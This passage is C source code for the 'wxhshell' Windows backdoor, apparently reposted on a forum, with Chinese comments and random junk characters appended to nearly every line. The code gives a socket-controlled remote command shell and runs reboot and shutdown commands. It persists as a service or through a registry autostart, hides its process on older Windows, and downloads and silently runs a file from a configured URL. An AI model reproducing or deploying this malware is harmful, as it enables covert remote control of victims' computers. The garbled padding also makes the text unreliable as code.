  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]id5jVY  
  } `|d&ta[{  
  else { .p d_SQ~  
=sa bJsgL  
    switch(cmd[0]) { dt=5 Pnf[y  
  dX>l"))yR  
  // 帮助 tW7*(D  
  case '?': { {nl4(2$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Fm,} sP"Qx  
    break; Xh*p\ $  
  } n]]!:jFC  
  // 安装 ;zZGV4Qc~  
  case 'i': { {<}kqn83sT  
    if(Install()) Ow7}&\;^-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UB&)U\hn  
    else (y;8izp9!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2O~I.(9(  
    break; XkJzt  
    } qGgqAF#B  
  // 卸载 l: X]$2;  
  case 'r': { u%`4;|tI  
    if(Uninstall()) S/l?wwD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +ysP#uAA  
    else \JX.)&> -  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I_/kJ#7vj  
    break; 3[E)/~-  
    } //\UthOT  
  // 显示 wxhshell 所在路径 &:ib>EB03=  
  case 'p': { |Lz:i +;  
    char svExeFile[MAX_PATH]; wtL_c  
    strcpy(svExeFile,"\n\r"); cr_Q,*  
      strcat(svExeFile,ExeFile); rBUdHd9  
        send(wsh,svExeFile,strlen(svExeFile),0); 'G-zJcU  
    break; *=O~TY<](  
    } /92m5p  
  // 重启 |K%nVcR=  
  case 'b': { WF{rrU:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Gj}P6V _  
    if(Boot(REBOOT)) BHW8zY=F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XCTee  
    else { &v#*  
    closesocket(wsh); #[a+m  
    ExitThread(0); 8`/nk `;  
    } (!^(74  
    break; o]vU(j_Ju  
    } B[R1XpB7  
  // 关机 $A/$M\ :  
  case 'd': { Wi?37EHr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b-x,`s  
    if(Boot(SHUTDOWN)) +R_w- NI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^KsiTVY  
    else { 5YG?m{hyn_  
    closesocket(wsh); f/:XIG  
    ExitThread(0); =Qcz:ng  
    } {t;{={$  
    break; XNU[\I  
    } O)tZ`X;  
  // 获取shell >/DyR+?>4  
  case 's': { nD$CY K  
    CmdShell(wsh); ?`oCc [hY  
    closesocket(wsh); p7A&r:qq#  
    ExitThread(0); . d;XLS~  
    break; \HzI*|*A  
  } fi2@`37PM  
  // 退出 n>Rt9   
  case 'x': { x@I(G "  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U&D"fM8  
    CloseIt(wsh); )&j4F)  
    break; 7O)U(<70  
    } [8VB"{{&  
  // 离开 +##b}?S%  
  case 'q': { &.Jp,Xt)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dfDz/sD*  
    closesocket(wsh); x_JCH7-  
    WSACleanup(); <[H1S@{W  
    exit(1); f3+@u2Pv  
    break; f@R j;R~Jp  
        } C#< :x!  
  } 'wd-!aZAd  
  } SY` U]-h  
A(mU,^  
  // 提示信息 "(hhb>V1Wl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R^.oM1qu|  
} =-`}(b2N  
  } *:q3<\y{  
pN)9 GO5  
  return; @eRR#S  
} l!plw,PYC  
&sp7YkaW  
// shell模块句柄 P8Bv3  
int CmdShell(SOCKET sock) pr8eRV!x  
{ <|M cE  
STARTUPINFO si; Bf;dp`(/   
ZeroMemory(&si,sizeof(si)); 8"4&IX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lEBt<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,OX(z=i_  
PROCESS_INFORMATION ProcessInfo;  #cqia0.H  
char cmdline[]="cmd"; gc 14%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S=>54!{`x  
  return 0; S;[*5g6a&x  
} %&+j(?9  
&k /uR;yw  
// 自身启动模式 XHgwK @GU  
int StartFromService(void) y#:_K(A" k  
{ krPwFp2[*  
typedef struct )QGj\2I  
{ c|lo%[]R!  
  DWORD ExitStatus; ; /fZh:V2  
  DWORD PebBaseAddress; GNzk Vy:u  
  DWORD AffinityMask; Fg)Iw<7_2  
  DWORD BasePriority; M1^?_;B  
  ULONG UniqueProcessId; 92F (Sl  
  ULONG InheritedFromUniqueProcessId; WHQg6r  
}   PROCESS_BASIC_INFORMATION; + RX{  
TKpka]nJ  
PROCNTQSIP NtQueryInformationProcess; njveZav  
r^mP'#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8,pnm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hBf0kl  
Fu0 dYN  
  HANDLE             hProcess; NKD<VMcqw  
  PROCESS_BASIC_INFORMATION pbi; :?s~,G_*l  
M-3kF"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d0y [:  
  if(NULL == hInst ) return 0; CA)DQYp{  
"P<IQx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #Jv|zf5Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6fhH)]0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0Zp) DM  
Y]aVa2!Wb  
  if (!NtQueryInformationProcess) return 0; t@[&8j2B>  
D.zEE-cGyb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Vv4 w?K  
  if(!hProcess) return 0; ~ztsR;iL  
=B g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a9C8Q l  
Ah,X?0+  
  CloseHandle(hProcess); n}MW# :eJe  
Yy6Mkw7X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eXY*l>B  
if(hProcess==NULL) return 0; 9k mkF,  
>M{=qs  
HMODULE hMod; Bb2;zOGdA  
char procName[255]; kw&,<V77~  
unsigned long cbNeeded; =X[]0.I%  
j:# wt70  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #Hl0>"k ,  
=&RpW7]  
  CloseHandle(hProcess); ;*^2,_  
+G';no\h  
if(strstr(procName,"services")) return 1; // 以服务启动 `iYiAc  
W 86`R  
  return 0; // 注册表启动 Tf/jd 3>  
} a>x3UVf_  
j^#4!Ue  
// 主模块 9MQ!5Zn  
int StartWxhshell(LPSTR lpCmdLine) S)T]>Ash  
{ {  O+d7,C  
  SOCKET wsl; #nV F.  
BOOL val=TRUE; Gf'qPLK0  
  int port=0; G+2!+N\P  
  struct sockaddr_in door; u`I&&  
:ulOG{z  
  if(wscfg.ws_autoins) Install(); H`#{zt);  
p|!5G&O,  
port=atoi(lpCmdLine); U5N/'p%)<  
e&WlJ  
if(port<=0) port=wscfg.ws_port; ]v&)mK]n=o  
\vj<9ke&  
  WSADATA data; #zflU99d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F !DDlYUz.  
(}ObX!,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %5#ts/f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y 3W_Z  
  door.sin_family = AF_INET; LpwjP4vWJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &)[?D<  
  door.sin_port = htons(port); N>kY$*  
1h uU7xuf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { THC7e>P4  
closesocket(wsl); S B2R  
return 1; _m.u@+g  
} w<=?%+n  
-]$q8 Q(hM  
  if(listen(wsl,2) == INVALID_SOCKET) { G?`{OW3:_  
closesocket(wsl);  -D*,*L  
return 1; 8S*3W3HY  
} WWf#in  
  Wxhshell(wsl); }LK +w+h~  
  WSACleanup(); g=*'kj7c3  
.S ZZT0Z  
return 0; E,u/^V9x  
h9<*+T  
} 6Ih8~Hu  
g{|F<2rd[m  
// 以NT服务方式启动 PkM]jbLe8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^pgVU&-~]/  
{ n~ w.\939@  
DWORD   status = 0; }7?n\I+n"  
  DWORD   specificError = 0xfffffff; P1cI]rriW  
in}d(%3h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z~8`xn,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JZ=ahSi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gY!+x=cx0  
  serviceStatus.dwWin32ExitCode     = 0; e_U1}{=t  
  serviceStatus.dwServiceSpecificExitCode = 0; dsJMhB_41U  
  serviceStatus.dwCheckPoint       = 0; 1eod;^AP9  
  serviceStatus.dwWaitHint       = 0; 1jHugss9|  
p>Z18  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,xcm:; &  
  if (hServiceStatusHandle==0) return; KHnq%#  
tqo k.h  
status = GetLastError(); f/"? (7F  
  if (status!=NO_ERROR) }Pi}? 41!  
{ M N-j$-y}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l!S}gbM  
    serviceStatus.dwCheckPoint       = 0; |q+3X)Y  
    serviceStatus.dwWaitHint       = 0; hIBW$  
    serviceStatus.dwWin32ExitCode     = status; 8d|/^U.w~V  
    serviceStatus.dwServiceSpecificExitCode = specificError; DIAHI V<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fHFy5j0H  
    return; ||p>O  
  } ''p7!V?  
prypo.RI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4Ny lc.2mi  
  serviceStatus.dwCheckPoint       = 0; 6KH&-ffd  
  serviceStatus.dwWaitHint       = 0; lftT55Tki  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z5njblUz  
} KOv?p@d  
@wVq%GG}  
// 处理NT服务事件,比如:启动、停止 P5?M"j0/^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B}?$kp  
{ 0NB5YQ8_]  
switch(fdwControl) S/?!ESW6  
{ FdwlRuG  
case SERVICE_CONTROL_STOP: \d :AV(u  
  serviceStatus.dwWin32ExitCode = 0; 5xb1FH d:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P3e}G-Oz  
  serviceStatus.dwCheckPoint   = 0; :"Gx  
  serviceStatus.dwWaitHint     = 0; {7F?30: ]  
  { 6'Sq|@VOi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  []L yu  
  } QmiS/`AAv  
  return; XEX-NE"]  
case SERVICE_CONTROL_PAUSE: 7Be\^%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I_.Jo `lK~  
  break; qI= j>x  
case SERVICE_CONTROL_CONTINUE: w^EUBRI-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]=ubl!0=:  
  break; S+*%u/;l  
case SERVICE_CONTROL_INTERROGATE: m)\wbkC  
  break; 506AvD  
}; B5R/GV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?xTdL738  
} ,qUOPW?=  
|g`:K0BI  
// 标准应用程序主函数 AQ<2 "s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'uBagd>*  
{ W{!Slf  
gH u!~l  
// 获取操作系统版本 %^qf0d*  
OsIsNt=GetOsVer(); m[w 8|[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GZx?vSoHh  
h.t2;O,b  
  // 从命令行安装 P`$Y73L  
  if(strpbrk(lpCmdLine,"iI")) Install(); x2M{=MExE.  
dN)@/R^E;  
  // 下载执行文件 .dw;b~p  
if(wscfg.ws_downexe) { _GtG8ebr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p=jIDM'  
  WinExec(wscfg.ws_filenam,SW_HIDE); oMV^W^<  
} -<Oy5N  
?ISv|QpC  
if(!OsIsNt) { %CaF-m=Pq  
// 如果时win9x,隐藏进程并且设置为注册表启动 x6iT"\MO  
HideProc(); ^v+7IFn  
StartWxhshell(lpCmdLine); *Q`y'6S  
} wK*b2r}0/  
else 0(h'ZV  
  if(StartFromService()) egHvI&w"o  
  // 以服务方式启动 n[c/L8j  
  StartServiceCtrlDispatcher(DispatchTable); &{=`g+4n  
else V|T3blG?D  
  // 普通方式启动 uc?`,;8{`  
  StartWxhshell(lpCmdLine); {!av3Pz\  
=JDa[_lpN  
return 0; sqjv3=}  
}
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只看该作者 1 发表于: 2006-10-10
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